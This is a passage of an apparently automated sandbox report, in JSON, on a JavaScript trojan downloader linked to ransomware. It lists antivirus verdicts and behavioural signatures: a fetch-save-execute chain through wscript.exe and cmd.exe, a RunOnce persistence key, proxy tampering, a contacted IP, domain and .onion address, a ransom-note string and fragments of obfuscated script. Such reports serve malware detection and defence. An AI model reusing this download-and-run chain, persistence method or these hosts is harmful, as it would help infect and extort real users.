trojan","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"filseclab":{"name":"Filseclab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"huorong":{"name":"Huorong","success":true,"verdict":"malicious","threat_name":"TrojanDownloader/JS.Nemucod.kb","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"kaspersky":{"name":"Kaspersky","success":true,"verdict":"malicious","threat_name":"Trojan-Downloader.JS.Cryptoload.azu","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"mcafee":{"name":"McAfee","success":true,"verdict":"malicious","threat_name":"JS/Nemucod.oa","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"microsoftdefender":{"name":"Microsoft Defender","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"nanoav":{"name":"NANOAV","success":true,"verdict":"malicious","threat_name":"Trojan.Script.Heuristic-js.iacgm","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"netgate":{"name":"NETGATE","success":true,"verdict":"malicious","threat_name":"Trojan.Win32.Malware","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"rocketcyber":{"name":"RocketCyber","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"malicious","threat_name":"JS/Agent-AXXY","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trendmicro":{"name":"Trend Micro","success":true,"verdict":"malicious","threat_name":"TROJ_FR.44C19421","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trendmicrohousecall":{"name":"Trend Micro HouseCall","success":true,"verdict":"malicious","threat_name":"TROJ_FR.44C19421","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"malicious","threat_name":"Trojan.JS.Dropper.XHG","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"virusblokada":{"name":"VirusBlokAda","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"webrootsmd":{"name":"Webroot SMD","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"zillya":{"name":"Zillya!","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{},"sandbox_signatures":[{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Queries the internet cache settings (often used to hide footprints in index.dat or internet cache)","description":"\"wscript.exe\" (Access type: \"QUERYVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"DISABLECACHINGOFSSLPAGES\"; Value: \"00000000040000000400000000000000\")","origin":"Registry Access","relevance":3,"id":"registry-29","sources":[{"report_type":"sandbox","report_id":"5a4269467ca3e122193af534"}]},{"level":"informative","category":"General","name":"Contacts domains","description":"\"www.thedournalist.com\"","origin":"Network Traffic","relevance":1,"id":"network-0","sources":[{"report_type":"sandbox","report_id":"5a4269467ca3e122193af534"}]},{"level":"informative","category":"General","name":"Contacts server","description":"\"86.106.30.37:80\"","origin":"Network Traffic","relevance":1,"id":"network-1","sources":[{"report_type":"sandbox","report_id":"5a4269467ca3e122193af534"}]},{"level":"informative","category":"General","name":"Creates a writable file in a temporary directory","description":"\"wscript.exe\" created file \"%TEMP%\\jYAbcsB2.exe\"\n \"jYAbcsB2.exe\" created file \"%TEMP%\\nst70C4.tmp\"\n \"jYAbcsB2.exe\" created file \"%TEMP%\\nsd70CF.tmp\\System.dll\"\n \"jYAbcsB2.exe\" created file \"%TEMP%\\nsd70CF.tmp\\System.dll\"\n \"jYAbcsB2.exe\" created file \"%TEMP%\\LGU\"","origin":"API Call","relevance":1,"id":"api-4","sources":[{"report_type":"sandbox","report_id":"5a4269467ca3e122193af534"}]},{"level":"informative","category":"General","name":"Creates mutants","description":"$24","origin":"Created Mutant","relevance":3,"id":"mutant-0","sources":[{"report_type":"sandbox","report_id":"5a4269467ca3e122193af534"}]},{"level":"informative","category":"General","name":"Logged script engine calls","description":"\"wscript.exe\" called \"WScript.Shell.1.CreateObject\" ... \n \"wscript.exe\" called \"Msxml2.XMLHTTP.CreateObject\" ... \n \"wscript.exe\" called \"WScript.Shell.1.ExpandEnvironmentStrings\" with result: \"%TEMP%\\ ..., \"wscript.exe\" called \"Msxml2.XMLHTTP.open\" ... , \"wscript.exe\" called \"Msxml2.XMLHTTP.setRequestHeader\" ... , \"wscript.exe\" called \"Msxml2.XMLHTTP.responseBody\" with result: \"MZ\" ..., \"wscript.exe\" called \"ADODB.Stream.6.0.CreateObject\" ... , \"wscript.exe\" called \"ADODB.Stream.6.0.Type\" ... , \"wscript.exe\" called \"ADODB.Stream.6.0.Write\" ... , \"wscript.exe\" called \"ADODB.Stream.6.0.Position\" ... , \"wscript.exe\" called \"ADODB.Stream.6.0.SaveToFile\" ... , \"wscript.exe\" called \"WScript.Shell.1.Exec\" ...","origin":"API Call","relevance":10,"id":"api-64","sources":[{"report_type":"sandbox","report_id":"5a4269467ca3e122193af534"}]},{"level":"informative","category":"General","name":"Opened the service control manager","description":"\"wscript.exe\" called \"OpenSCManager\" requesting access rights \"SC_MANAGER_CONNECT\" (0x1)","origin":"API Call","relevance":10,"id":"api-77","sources":[{"report_type":"sandbox","report_id":"5a4269467ca3e122193af534"}]},{"level":"informative","category":"General","name":"Parsed Javascript","description":"$25","origin":"Static Parser","relevance":5,"id":"static-25","sources":[{"report_type":"sandbox","report_id":"5a4269467ca3e122193af534"}]},{"level":"informative","category":"General","name":"Process launched with changed environment","description":"Process \"jYAbcsB2.exe\" (UID: 00015797-00003788) was launched with new environment variables: \"PROMPT=\"$P$G\"\"","origin":"Monitored Target","relevance":10,"id":"target-67","sources":[{"report_type":"sandbox","report_id":"5a4269467ca3e122193af534"}]},{"level":"informative","category":"General","name":"Reads Windows Trust Settings","description":"\"wscript.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\WINTRUST\\TRUST PROVIDERS\\SOFTWARE PUBLISHING\"; Key: \"STATE\")","origin":"Registry Access","relevance":5,"id":"registry-20","sources":[{"report_type":"sandbox","report_id":"5a4269467ca3e122193af534"}]},{"level":"informative","category":"General","name":"Requested access to a system service","description":"\"wscript.exe\" called \"OpenService\" to access the \"rasman\" service\n \"wscript.exe\" called \"OpenService\" to access the \"Sens\" service requesting \"SERVICE_QUERY_STATUS\" (0X4) access rights\n \"wscript.exe\" called \"OpenService\" to access the \"RASMAN\" service","origin":"API Call","relevance":10,"id":"api-76","sources":[{"report_type":"sandbox","report_id":"5a4269467ca3e122193af534"}]},{"level":"informative","category":"General","name":"Runs shell commands","description":"\"/c START \"\" %TEMP%\\jYAbcsB2.exe\" on 2017-12-26.16:24:29.467","origin":"Monitored Target","relevance":5,"id":"target-3","sources":[{"report_type":"sandbox","report_id":"5a4269467ca3e122193af534"}]},{"level":"informative","category":"General","name":"Spawns new processes","description":"Spawned process \"cmd.exe\" with commandline \"/c START \"\" %TEMP%\\jYAbcsB2.exe\" (UID: 00015791-00003752)\n Spawned process \"jYAbcsB2.exe\" (UID: 00015797-00003788)\n Spawned process \"jYAbcsB2.exe\" (UID: 00016834-00003152)","origin":"Monitored Target","relevance":3,"id":"target-25","sources":[{"report_type":"sandbox","report_id":"5a4269467ca3e122193af534"}]},{"level":"informative","category":"Installation/Persistance","name":"Connects to LPC ports","description":"\"jYAbcsB2.exe\" connecting to \"\\ThemeApiPort\"","origin":"API Call","relevance":1,"id":"api-16","sources":[{"report_type":"sandbox","report_id":"5a4269467ca3e122193af534"}]},{"level":"informative","category":"Installation/Persistance","name":"Dropped files","description":"\"0gakl8ixtWMkw.doc\" has type \"data\"\n \"OTKLOADR.DLL\" has type \"data\"\n \"rpcapd.exe\" has type \"data\"\n \"ContactPicker.dll\" has type \"data\"\n \"EXPTOOWS.DLL\" has type \"data\"\n \"OIMG.DLL\" has type \"data\"\n \"ONBttnIELinkedNotes.dll\" has type \"data\"\n \"XLMACRO.CHM\" has type \"data\"\n \"SCANPST.EXE\" has type \"data\"\n \"XLCALL32.DLL\" has type \"data\"\n \"ONLNTCOMLIB.DLL\" has type \"PGP\\011Secret Sub-key -\"\n \"EKeaJO.doc\" has type \"DOS executable (COM)\"\n \"SEQCHK10.DLL\" has type \"data\"\n \"STSCOPY.DLL\" has type \"data\"\n \"TWCUTLIN.DLL\" has type \"data\"\n \"SELFCERT.EXE\" has type \"data\"\n \"libtiff-5.dll\" has type \"data\"\n \"libjpeg-8.dll\" has type \"data\"\n \"Visual Studio 2008 Command Prompt.lnk\" has type \"data\"\n \"link.exe\" has type \"data\"","origin":"Binary File","relevance":3,"id":"binary-0","sources":[{"report_type":"sandbox","report_id":"5a4269467ca3e122193af534"}]},{"level":"informative","category":"Installation/Persistance","name":"Opens the MountPointManager (often used to detect additional infection locations)","description":"\"wscript.exe\" opened \"\\Device\\MountPointManager\"","origin":"API Call","relevance":5,"id":"api-51","sources":[{"report_type":"sandbox","report_id":"5a4269467ca3e122193af534"}]},{"level":"informative","category":"Installation/Persistance","name":"Touches files in the Windows directory","description":"$26","origin":"API Call","relevance":7,"id":"api-55","sources":[{"report_type":"sandbox","report_id":"5a4269467ca3e122193af534"}]},{"level":"informative","category":"Network Related","name":"Found potential URL in binary/memory","description":"Heuristic match: \"on(DABMLESOR,DABMLESOR,trigDA = + (bmV3IEZ1bmN0aW9uKCd2VlJFQkZGMycsJ3JldHVybiBcIlRWTT1cIg==).Done() + .Done();');); var dadadagyropurposelessruchka =RXhwYW5DABMLESORkRW52aXJvbm1lbnRTdHJDABMLESORpbmDABMLESORdz.Done(); var dadadagyropur\"\n Pattern match: \"www.thedournalist.com\"\n Pattern match: \"http://nsis.sf.net/NSIS_Error\"\n Pattern match: \"http://www.w3.org/TR/html4/strict.dtd\"\n Pattern match: \"https://www.torproject.org/projects/torbrowser.html.en\"\n Pattern match: \"http://n224ezvhg4sgyamb.onion/sup.php\"","origin":"File/Memory","relevance":10,"id":"string-3","sources":[{"report_type":"sandbox","report_id":"5a4269467ca3e122193af534"}]},{"level":"informative","category":"System Security","name":"Modifies proxy settings","description":"\"wscript.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"PROXYENABLE\"; Value: \"00000000\")\n \"wscript.exe\" (Access type: \"DELETEVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"PROXYSERVER\")\n \"wscript.exe\" (Access type: \"DELETEVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"PROXYOVERRIDE\")\n \"wscript.exe\" (Access type: \"DELETEVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\")\n \"wscript.exe\" (Access type: \"DELETEVAL\"; Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\")","origin":"Registry Access","relevance":10,"id":"registry-27","sources":[{"report_type":"sandbox","report_id":"5a4269467ca3e122193af534"}]},{"level":"informative","category":"System Security","name":"Opens the Kernel Security Device Driver (KsecDD) of Windows","description":"\"jYAbcsB2.exe\" opened \"\\Device\\KsecDD\"","origin":"API Call","relevance":10,"id":"api-37","sources":[{"report_type":"sandbox","report_id":"5a4269467ca3e122193af534"}]},{"level":"informative","category":"System Security","name":"Queries sensitive IE security settings","description":"\"wscript.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\INTERNET EXPLORER\\SECURITY\"; Key: \"DISABLESECURITYSETTINGSCHECK\")","origin":"Registry Access","relevance":8,"id":"registry-36","sources":[{"report_type":"sandbox","report_id":"5a4269467ca3e122193af534"}]},{"level":"suspicious","category":"Environment Awareness","name":"Found a dropped file containing the Windows username (possible fingerprint attempt)","description":"Found dropped filename \"PSPUBWS.bmp\" containing the Windows username \"PSPUBWS\"\n Found dropped filename \"PSPUBWS.contact\" containing the Windows username \"PSPUBWS\"","origin":"Binary File","relevance":5,"id":"binary-19","sources":[{"report_type":"sandbox","report_id":"5a4269467ca3e122193af534"}]},{"level":"suspicious","category":"Environment Awareness","name":"Reads the active computer name","description":"\"wscript.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"jYAbcsB2.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")","origin":"Registry Access","relevance":5,"id":"registry-35","sources":[{"report_type":"sandbox","report_id":"5a4269467ca3e122193af534"}]},{"level":"suspicious","category":"Environment Awareness","name":"Reads the cryptographic machine GUID","description":"\"wscript.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")\n \"jYAbcsB2.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")","origin":"Registry Access","relevance":10,"id":"registry-1","sources":[{"report_type":"sandbox","report_id":"5a4269467ca3e122193af534"}]},{"level":"suspicious","category":"General","name":"Reads configuration files","description":"\"jYAbcsB2.exe\" read file \"C:\\Users\\%OSUSER%\\Desktop\\desktop.ini\"\n \"jYAbcsB2.exe\" read file \"C:\\Users\\desktop.ini\"\n \"jYAbcsB2.exe\" read file \"%PUBLIC%\\desktop.ini\"\n \"jYAbcsB2.exe\" read file \"%PUBLIC%\\Videos\\desktop.ini\"\n \"jYAbcsB2.exe\" read file \"%PUBLIC%\\Videos\\Sample Videos\\desktop.ini\"\n \"jYAbcsB2.exe\" read file \"%PUBLIC%\\Recorded TV\\desktop.ini\"\n \"jYAbcsB2.exe\" read file \"%PUBLIC%\\Recorded TV\\Sample Media\\desktop.ini\"\n \"jYAbcsB2.exe\" read file \"%PUBLIC%\\Pictures\\desktop.ini\"\n \"jYAbcsB2.exe\" read file \"%PUBLIC%\\Pictures\\Sample Pictures\\desktop.ini\"","origin":"API Call","relevance":4,"id":"api-6","sources":[{"report_type":"sandbox","report_id":"5a4269467ca3e122193af534"}]},{"level":"suspicious","category":"Installation/Persistance","name":"Drops executable files","description":"\"EKeaJO.doc\" has type \"DOS executable (COM)\"\n \"c2.dll\" has type \"0421 Alliant compact executable common library\"","origin":"Binary File","relevance":10,"id":"binary-1","sources":[{"report_type":"sandbox","report_id":"5a4269467ca3e122193af534"}]},{"level":"suspicious","category":"Installation/Persistance","name":"Modifies auto-execute functionality by setting/creating a value in the registry","description":"\"jYAbcsB2.exe\" (Access type: \"CREATE\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUNONCE\")\n \"jYAbcsB2.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUNONCE\"; Key: \"BROWSERUPDATECHECK\"; Value: \"%APPDATA%\\jYAbcsB2.exe\")","origin":"Registry Access","relevance":8,"id":"registry-0","sources":[{"report_type":"sandbox","report_id":"5a4269467ca3e122193af534"}]},{"level":"suspicious","category":"Network Related","name":"Found potential IP address in binary/memory","description":"Heuristic match: \"Veyon 7.2.3.0\"","origin":"File/Memory","relevance":3,"id":"string-14","sources":[{"report_type":"sandbox","report_id":"5a4269467ca3e122193af534"}]},{"level":"suspicious","category":"Network Related","name":"Uses a User Agent typical for browsers, although no browser was ever launched","description":"Found user agent(s): Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)","origin":"Network Traffic","relevance":10,"id":"network-22","sources":[{"report_type":"sandbox","report_id":"5a4269467ca3e122193af534"}]},{"level":"suspicious","category":"Ransomware/Banking","name":"Detected indicator that file is ransomware","description":"\"

Your files are Encrypted!

\" (Source: Read___ME.html, Indicator: \"files are encrypted\")\n \" dftw